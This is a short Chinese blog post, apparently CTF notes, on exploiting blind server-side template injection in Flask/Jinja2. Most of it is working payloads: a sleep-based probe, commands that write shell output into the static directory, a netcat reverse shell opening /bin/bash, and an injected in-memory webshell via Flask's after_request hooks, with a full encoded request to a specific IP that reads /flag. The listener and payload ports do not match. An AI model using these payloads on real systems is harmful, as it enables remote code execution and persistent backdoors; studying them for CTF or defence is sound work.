无回显SSTi

无回显ssti

情形:输入了{{7*7}}、{%7*7%}、${7*7}他都原样回显,但不代表服务器不会解析,可以输入 {{lipsum.globals['os'].popen('sleep 5').read()}}来看看页面与之前的响应来比较

一、第一种解法

只会显示对不对,和SQL的布尔盲注感觉判断差不多

尝试写静态文件

在 Flask 中,静态目录(Static Directory) 是用于存储静态文件(如 CSS、JavaScript、图片等)的特殊目录,这些文件不需要服务器端处理,可以直接发送给客户端。

路径:项目根目录下的 static 文件夹

URL 访问路径:/static/

如:

project/
├── app.py
├── static/
│   ├── css/style.css
│   ├── js/script.js
│   └── images/logo.png
└── templates/

payload如下:

{{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}}

{{lipsum.__globals__['os'].popen(' ls >/app/static/1.txt').read()}}

然后去访问127.0.0.1:5000/static/1.txt

二、第二种解法

反弹shell,前提是对面要装了netcat

先开启监听,nc -lvvp 7777

payload如下:

{{lipsum.__globals__['os'].popen('nc 127.0.0.1 2333 -e /bin/bash').read()}}

三、第三种解法

注入内存马:

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

然后再get传参cmd就行了(如下):

http://114.66.24.221:32110/?username=%7B%7Burl_for.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22app.after_request_funcs.setdefault%28None%2C+%5B%5D%29.append%28lambda+resp%3A+CmdResp+if+request.args.get%28%27cmd%27%29+and+exec%28%5C%22global+CmdResp%3BCmdResp%3D__import__%28%5C%27flask%5C%27%29.make_response%28__import__%28%5C%27os%5C%27%29.popen%28request.args.get%28%5C%27cmd%5C%27%29%29.read%28%29%29%5C%22%29%3D%3DNone+else+resp%29%22%2C%7B%27request%27%3Aurl_for.__globals__%5B%27request%27%5D%2C%27app%27%3Aurl_for.__globals__%5B%27sys%27%5D.modules%5B%27__main__%27%5D.__dict__%5B%27app%27%5D%7D%29%7D%7D&password=123&cmd=cat /flag
posted @ 2026-06-18 13:17  Doll_Marker  阅读(9)  评论(0)    收藏  举报